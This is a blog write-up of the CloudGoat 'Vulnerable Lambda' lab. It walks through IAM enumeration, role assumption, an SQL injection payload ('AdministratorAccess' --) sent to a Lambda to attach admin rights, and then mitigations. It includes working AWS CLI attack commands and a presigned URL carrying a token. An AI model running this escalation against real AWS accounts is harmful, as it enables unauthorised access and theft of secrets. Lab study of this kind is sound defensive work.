In this blog, we will take a look at how attacker can utilized a compromised IAM user escalate it's privileges to discover a lambda function and exploit an SQL injection vulnerability to increase the initial compromised user to Administrator privilege leading to reading secrets in SecretsManger.
Topics Covered
In this blog, we will take a details explanation of the topics and attacks.
What is Lamda in AWS?
Attack Scenario and Plan.
Execution of the attack.
Mitigation and prevention of the attack chain.
AWS Lambda
Before we deep dive into the attack chain, let's take a look at what AWS lambda is.
AWS Lambda is a serverless computing service provided by AWS which allows you to run code without the need to provision or manage servers explicitly. It also enables you to execute your code in response to various events and automatically scales the compute resources based on the incoming workload.
Here are some key features of AWS Lambda
AWS Lambda is designed to respond to events triggered by various AWS services or custom events. Events could include changes to data in an Amazon S3 bucket, updates to a DynamoDB table, or an HTTP request via Amazon API Gateway.
With Lambda, administrator doesn't need to worry about server costs and maintainence. AWS takes care of the infrastructure, ensuring that your code runs with high availability.
Lambda follows a pay-as-you-go pricing model, meaning you only pay for the compute time your code consumes. There are no charges when your code is not running.
Lambda supports a variety of programming languages, including Node.js, Python, Java, Ruby, Go, and .NET Core. This flexibility allows developers to choose the language that best fits their needs.
Here are some real-life usage examples of AWS Lambda.
Use Amazon Simple Storage Service (Amazon S3) to trigger AWS Lambda data processing in real time after an upload, or connect to an existing Amazon EFS file system to enable massively parallel shared access for large-scale file processing.
Amazon S3, API Gateway, AWS Lambda, and DynamoDB work together to retrieve weather data for a web or mobile application.
To know more and learn about AWS Lambda, it is best to refer the official documentation from the AWS iself
Attack Scenario
For this example, we will be taking a look at a scenario from "Clougoat" which is a repository to simulate various type of AWS attack. For this demonstration we will using scenario called "Vulnerable Lambda"
Scenario - As an attacker, you gain initial access to an IAM user called "Bilbo" with it's "Access Key ID" and "Secret Access Key"
Goal - To elevate the privileges of IAM user "Bilbo" to administrator so that we can read the flag inside SecretsManager.
Before we move any further. Refer the "Clougoat" repository, inside visit the "Vulnerable Lambda" scenario and set it up accordingly. Also configure the initial "Bilbo" user with the keys you'll get aftger running the script.
Here is a visual representation of the attack chain -
Here are the summarized explanation of the attack -
The attacker has compromised the IAM user "Bilbo" and can list all the policies of it.
Listing In-Line Policies of user "Bilbo"
User "Bilbo" can assume role "cg-lambda-invoker*"
Listing all the related roles and it's policies
Assuming the role.
Listing all the Lambda function as the assume role.
Enumerating the selected Lambda function and download the source code files that the lambda function has stored in a remote web-server.
Unzipping the files and analyzing the python code for SQL Injection vulnerability.
Checking Lambda function policy and permission of that policy. It has an "iam:AttachUserPolicy" action.
Creating a JSON payload that will elevate the user "Bilbo" privilege to Administrator.
Performing privilege escalation attack.
After escalating the privilege dumping the flag from SecretsManager.
Note - It is important to keep the numbers in the diagram in mind to so that we do not forget where are we in the attack. The reason for that is that I will try to go more in-depth in explanation while explaining certain steps and it will also be useful while mitigation steps.
Enumerating Bilbo User
After configuring the keys of the IAM user "Bilbo" in the AWS-CLI. We will enumerate and gather information about this user.
First let's lists the ARN and the User-ID.
Using the AWS-CLI command "Security Token Service" i.e sts with the "get-called-identity" which is equivalent to "whoami"
root@kali~/cloudgoat (master)# aws sts get-caller-identity --profile bilbo --region us-east-1{"UserId":"AIDAYKW5VZFUEIBDGOFU4","Account":"572769290600","Arn":"arn:aws:iam::572769290600:user/cg-bilbo-vulnerable_lambda_cgidsgo58wpbz0"}
Keep the value of the ARN, it will be useful later on. Now listing the policies that user "Bilbo" has.
As a user "Bilbo" it can assume the role cg-lambda-invoker*
Listing All The Roles
As we know the user "Bilbo" can assume the role cg-lambda-invoker* , we can lists all the rule which is related to it.
root@kali~/cloudgoat (master)# aws iam list-roles --profile bilbo --region us-east-1 |grep"cg-lambda-invoker*""RoleName":"cg-lambda-invoker-vulnerable_lambda_cgidsgo58wpbz0","Arn":"arn:aws:iam::572769290600:role/cg-lambda-invoker-vulnerable_lambda_cgidsgo58wpbz0",
We found a role - cg-lambda-invoker-vulnerable_lambda_cgidsgo58wpbz0 now let's lists this role policies.
root@kali ~/cloudgoat (master)# aws iam list-role-policies --role-name cg-lambda-invoker-vulnerable_lambda_cgidsgo58wpbz0 --profile bilbo --region us-east-1
{"PolicyNames": ["lambda-invoker" ]}
The role has a policy named as lambda-invoker, listing the permission this policy has for the role with "get-role-policy".
As per the output, the user "Bilbo" and the we have. We an perform the action mentioned in the above picture. These are basic permissions a IAM might have depending on the nature of the user.
So far, here is knowledge we have. In the main attack diagram. From Step 1 to Step 4.
Assuming The Lambda Role
After enumerating the necessary information, we will assume the lambda role cg-lambda-invoker-vulnerable_lambda_cgidsgo58wpbz0 with a custom session.
Utilzing AWS CLI "AssumeRole" which will retrieve the the assuming role's keys.
Now that we've assumed the new Lambda role, we will list all the Lambda functions for the new role.
root@kali~/cloudgoat (master)# aws lambda list-functions --profile lambda-role --region us-east-1{"Functions": [ {"FunctionName":"LambdaTrigger","FunctionArn":"arn:aws:lambda:us-east-1:572769290600:function:LambdaTrigger","Runtime":"nodejs20.x","Role":"arn:aws:iam::572769290600:role/service-role/LambdaTrigger-role-qi0vthkx","Handler":"index.handler","CodeSize":421,"Description":"","Timeout":3,"MemorySize":128,"LastModified":"2024-02-03T18:18:31.000+0000","CodeSha256":"t/q3lxhXTjVTQeF6SoZP49pmxY+2KrsuRBHhAd0o6CA=","Version":"$LATEST","TracingConfig":{"Mode":"PassThrough" },"RevisionId":"b7669a25-83dc-475c-ac94-015d7b726255","PackageType":"Zip","Architectures": ["x86_64" ],"EphemeralStorage":{"Size":512 },"SnapStart":{"ApplyOn":"None","OptimizationStatus":"Off" } }, {"FunctionName":"vulnerable_lambda_cgidsgo58wpbz0-policy_applier_lambda1", "FunctionArn": "arn:aws:lambda:us-east-1:572769290600:function:vulnerable_lambda_cgidsgo58wpbz0-policy_applier_lambda1",
"Runtime":"python3.9","Role":"arn:aws:iam::572769290600:role/vulnerable_lambda_cgidsgo58wpbz0-policy_applier_lambda1","Handler":"main.handler","CodeSize":991559, "Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
"Timeout":3,"MemorySize":128,"LastModified":"2024-02-04T00:58:42.884+0000","CodeSha256":"U982lU6ztPq9QlRmDCwlMKzm4WuOfbpbCou1neEBHkQ=","Version":"$LATEST","TracingConfig":{"Mode":"PassThrough" },"RevisionId":"9785c56b-82aa-4d23-9038-d1ccdfbfd486","PackageType":"Zip","Architectures": ["x86_64" ],"EphemeralStorage":{"Size":512 },"SnapStart":{"ApplyOn":"None","OptimizationStatus":"Off" } }, {"FunctionName":"CognitoCTF-vulnerable_cognito_cgidzj7t39gavn", "FunctionArn": "arn:aws:lambda:us-east-1:572769290600:function:CognitoCTF-vulnerable_cognito_cgidzj7t39gavn",
"Runtime":"python3.9","Role":"arn:aws:iam::572769290600:role/iam_for_lambda-vulnerable_cognito_cgidzj7t39gavn","Handler":"lambda_function.lambda_handler","CodeSize":358,"Description":"","Timeout":3,"MemorySize":128,"LastModified":"2024-02-03T16:53:15.646+0000","CodeSha256":"gtN137FuSd1MGTTcRZKA1TjrDCkeNftc7aTW8Uia1RI=","Version":"$LATEST","TracingConfig":{"Mode":"PassThrough" },"RevisionId":"068429c6-e073-4618-9057-fa1501e4c251","PackageType":"Zip","Architectures": ["x86_64" ],"EphemeralStorage":{"Size":512 },"SnapStart":{"ApplyOn":"None","OptimizationStatus":"Off" } } ]}
We only found one Lambda function name - vulnerable_lambda_cgidsgo58wpbz0-policy_applier_lambda1 to be useful.
So we will check info about that Lambda function.
Using the AWS-CLI Lambda's "get-function" which lists the info about a lambda function.
root@kali ~/cloudgoat (master)# aws lambda get-function --function-name vulnerable_lambda_cgidsgo58wpbz0-policy_applier_lambda1 --profile lambda-role --region us-east-1
{"Configuration":{"FunctionName":"vulnerable_lambda_cgidsgo58wpbz0-policy_applier_lambda1", "FunctionArn": "arn:aws:lambda:us-east-1:572769290600:function:vulnerable_lambda_cgidsgo58wpbz0-policy_applier_lambda1",
"Runtime":"python3.9","Role":"arn:aws:iam::572769290600:role/vulnerable_lambda_cgidsgo58wpbz0-policy_applier_lambda1","Handler":"main.handler","CodeSize":991559, "Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
"Timeout":3,"MemorySize":128,"LastModified":"2024-02-04T00:58:42.884+0000","CodeSha256":"U982lU6ztPq9QlRmDCwlMKzm4WuOfbpbCou1neEBHkQ=","Version":"$LATEST","TracingConfig":{"Mode":"PassThrough" },"RevisionId":"9785c56b-82aa-4d23-9038-d1ccdfbfd486","State":"Active","LastUpdateStatus":"Successful","PackageType":"Zip","Architectures": ["x86_64" ],"EphemeralStorage":{"Size":512 },"SnapStart":{"ApplyOn":"None","OptimizationStatus":"Off" },"RuntimeVersionConfig":{ "RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:3fee14476de2c6c6b67487c8862ea51f1b5376c221844a0e7711d96cc87b3666"
} },"Code":{"RepositoryType":"S3", "Location": "https://prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com/snapshots/572769290600/vulnerable_lambda_cgidsgo58wpbz0-policy_applier_lambda1-76b758df-97a0-4b6e-9c60-86ecb8c03dcb?versionId=YKFTlcBZlInXfE_p.rDblXwZouWhTEn4&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEMH%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJIMEYCIQDA0u%2BfAk7ALxqfzxhx8TBVvhedELkeEv833JzWBVEN2gIhAIJObc5t46VMbcx8RPN0Pj6NDO2AnboqOcMWcCgNVQXoKsQFCIr%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQBBoMNDc5MjMzMDI1Mzc5IgyPphCDQRLXR5XUyxEqmAUkK2GBJmtQKuHhbmGPfYpfqE9SNCMZy%2BABGkVSEO6J9nvKP%2F8sCqZinkIWLGxBky7fZEhC8sYtvaGcczTXitshMkXRh3TkTOrJU6Y3m4eDFk2K4ZFEHgFyOTL64fPyyZnA%2FFwCgl74JB8vuOetnZTYJM8sbfRPLUl%2FYei%2FZ39oB6Qbio%2Fzphqu%2FRznE%2FpxUbhPn%2BonWlmrY%2B2sFxie3bpIeNl%2B8iHQECA4YY7b7xkdo1xvQ1I%2BKLHcUBopiMeAWHEhVbCP80Pk4%2Fk1fEDVXxWaC9i5Ngcz0rlBrz8e%2FKGM%2F6kIW0nUD4yVlS26pDRZzNiqDjwNkl1J%2F%2F1RLUQi9yfwPI4oze%2B5sYTEr6miXkbSzbGePi9OKDchUdIebHy8ahGtqCXofkLLsp1Kracm5peWfRKv4F%2BinIobh%2Fc5%2BkNn4ORHPHsIE0JR74TW2yLNSZafmhNqr4HzG3K16gKgfU%2BaJ%2BdypoebQOkC02NJe9tYN1vNKJlDMHXXtDvhkkAa70wDqpOX65QG8WZNVDyKRSo%2BbuY6iLZVofz%2FQvXgE48XIijCiHhAlBpb00IG2XqJfXm5a9cQbCsulRAP%2FmqDV81Vw7s8vuBtS05slniDhuzDzSqJgUDJGGdfl1ptW4iiAnmM4HEoGtK4eBFF3Wsn2KkQAZNG361qSHEwX%2FP26QH%2B6pmu1RnOEFgGsnUCs%2Frdo16n7d%2BIrX8ltA4EQKV6LAQnJ0hK6pcWTuTIF97bBvPNcexFIRBoOv5Q5uHeZt%2FOGEvgBuKY%2Fhx47JUawiigaIYbngdsLSq%2F%2BqdRqrjVaQLjA3GWUPDI5CJlhPg1dcJhr0kvVeI5u%2FPZk%2B%2FiRPygAGD57d%2BmESqYxnbIP4eBfeBGcwpfsNL1012iMIyc%2Fa0GOrABYkN5Czq6Jcev6G7SrZSnh1VsJrc7JmI2kJURiLS2NjqHUiaaW9LC%2FWJ6kI0fEflvhz%2Fy8%2BfJ57wMTvJhqj1sxDaCxHHPNVwalrjKadeY5wMQ8F8jp%2BhGQjhW4dIv7TuDNE6bo74z%2F5a28MsZA7LSalaGfU0QXjy%2FLVr4K5TiPJI0AWNrDVi0NSzYNxS4J8n2GQdb6ZHcL1GW8b9TPUShP%2FPtP6mH2ia4Yp9DZ91IExs%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20240204T094401Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAW7FEDUVR6M7QTPYG%2F20240204%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=0b4cf482c766f73565b4c9151c1b63f613fb4ab97e4275cee1a57b4d8212e507"
},"Tags":{"Name":"cg-vulnerable_lambda_cgidsgo58wpbz0","Scenario":"vulnerable-lambda","Stack":"CloudGoat" }}
The output has a "Location" key which has a URL to a prod-server that. Let's download the files.
unzip source.zip lamda-source-code && cd lamda-source-code
Now that we have the source code. Let's analyze it for potential SQL Injection.
SQL Injection Analysis
After downloading and unzipping the source code files. There is a python file called main.py, let's analyze the source code.
Firsty importing all the necessary libraries. For example, boto3 is a python SDK for AWS.
In the main function, a JSON named as "payload" is created where it has "policy_names" as the key and the policies are added as the values.
Then on the line 53. There is a function named "handler" is called which takes the whole "payload" is taken as an input. Let's take a look at the "handler" function.
On line 20 and 21, It extracts the policy_names and user_name from the incoming event parameter.
Then on line 24 onwards, it goes to on a for-loop in which for each specified policy in target_policys, it constructs a SQL-like statement to check if the policy exists in the policies table and is marked as public.
On line 27, it goes inside another for-loop which loops each rows of the SQL statements. If a valid policy is found, the it uses the IAM client using the Boto3 "attach_user_policy" to attach the policy to the specified user.
Now the SQL injection vulnerability lies on the 26
statement =f"select policy_name from policies where policy_name='{policy}' and public='True'"
Where the user-input is not sanitized and using the basic ' -- we can bypass the public='True' which checks if this is a valid policy or not, resulting in our custom policy beign attached to the our user.
Now before performing SQL injection. Let's check what roles and permission does our lambda function have.
root@kali ~/c/lamda-source-code (master)# aws iam list-role-policies --role-name vulnerable_lambda_cgidsgo58wpbz0-policy_applier_lambda1 --profile bilbo --region us-east-1
{"PolicyNames": ["policy_applier_lambda1" ]}
It has a policy name "policy_applier_lambda1" let's check it's permission.
The role's policy has a "iam:AttachUserPolicy" which can attach policies to a specified user.
Here is a visual representation of the scenario. We're on step 9 in the main diagram
SQL Injection Attack To Privilege Escalation
Before we move forward, here is visual representation of privilege escalation which on step 9 and 10 of the main diagram.
Now that we know that we can attach policies to any specified user, we can leverage this to attach admin level policies to our initial user "bilbo". To do that we can create a simple JSON payload with the SQL Injection payload.
As we can see, we've created a simple JSON file. Inside it the "policy_names" has a value "AdministratorAccess' --" which as per the logic of code discussed above will append the policy to the user specified and bypass the validity check. And "user_name" takes the ARN value of the user "Bilbo"
root@kali ~/cloudgoat (master)# aws lambda invoke --function-name vulnerable_lambda_cgidsgo58wpbz0-policy_applier_lambda1 --cli-binary-format raw-in-base64-out --payload file://./payload.json out.txt --profile lambda-role --region us-east-1
{"StatusCode":200,"ExecutedVersion":"$LATEST"}root@kali~/cloudgoat (master)# cat out.txt "All managed policies were applied as expected."⏎
Now we will run the "lambda invoke" command that will invokes a Lambda function which takes our payload.json as input. After running the output we can see the results are successfull.
root@kali ~/cloudgoat (master)# aws iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidsgo58wpbz0 --profile bilbo --region us-east-1
{"AttachedPolicies": [ {"PolicyName":"AdministratorAccess","PolicyArn":"arn:aws:iam::aws:policy/AdministratorAccess" } ]}
Now we can see that privilege of user "Bilbo" is escalated.
Accessing The Flag
Now that we've escalated the user's "Biblo" privileges, we can move forward to lists the secerts inside SecretsManager which helps you manage, retrieve, and rotate database credentials, application credentials, OAuth tokens, API keys, and other secrets throughout their lifecycles.
As we've seen the how the attacker can perform the attack. Let's look on some of the mitigations as defender and as an administrator to prevent this type of attacks and stop the attacker's campaingn.
Patch Assume Role Policy
If we refer the very first main diagram, in the Step 3 as a user "Bilbo" it can assume the role cg-lambda-invoker* . We can patch this by removing the sts:AssumeRole from the permission of the policy cg-bilbo-vulnerable_lambda_cgidrb8f01l1y0-standard-user-assumer. Here is the visual representation of the patch.
To apply the patch, login to the AWS console as root user and then navigate to IAM -> Users -> Bilbo User ID.
Remove the "sts:AssumeRole" statement. Then save the changes
As we can see the "sts:AssumeRole" has been removed. Let's verify it by enumerating in cli as an attacker.
So as the user Bilbo we can't assume any roles. But there is a catch, even if the user Bilbo get hands on the ARN of a role, it can still assume it. So it's better that important roles are only assumed by IAM users that are intedent to or the root user.
So in this can we can see the trusted policy of the role cg-lambda-invoker-vulnerable_lambda_cgidrb8f01l1y0
As we can still the IAM user "Bilbo" can assume this role if it get's the role's ARN anyhow. To fix this, edit the trusted policy so that the root user i.e "Faran" in this case, can only assume this role. This can be done via cli.
root@kali ~/cloudgoat (master)# aws iam update-assume-role-policy --role-name cg-lambda-invoker-vulnerable_lambda_cgidrb8f01l1y0 --policy-document '{
"Version":"2012-10-17","Statement": [ {"Sid":"","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::572769290600:user/Faran" },"Action":"sts:AssumeRole" } ] }' \ --profile Faran --region us-east-1root@kali ~/cloudgoat (master)# aws sts assume-role --role-arn arn:aws:iam::572769290600:role/cg-lambda-invoker-vulnerable_lambda_cgidrb8f01l1y0 --role-session-name lamdba-session --profile bilbo --region us-east-1
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::572769290600:user/cg-bilbo-vulnerable_lambda_cgidrb8f01l1y0 is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::572769290600:role/cg-lambda-invoker-vulnerable_lambda_cgidrb8f01l1y0
After patching, you can see that we've tried to assume the role as user "Bilbo" but failed to do so because of the permission error.
Patch AttachUserPolicy
In the main diagram, look at Step 9, after assuming the lambda role we have the right to attach policy to any policy to user "Bilbo" which we used to escalate privileges to Administrator. This was the main crux of the attack. As a defender we can remove this permission or assign root user to assume the role, so that even if any user assumes the lambda role still it won't be able to attach policies to the users. Here is a visual representation of the patch.
To patch this open the AWS -> Roles -> policy_applier_lambda1.
You can see that "iam:AttachUserPolicy" is assigned to IAM user "Bilbo". Edit it and assign it to the root user i.e is "Faran" in this case, can perform this action it if assumes the role.
It is now patched!
Conclusion
In this blog we've read how the attacker can enumerate, assume the role and elevate the privileges in an AWS environment to gain access to critical credentials and how as a defender we can patch our environments.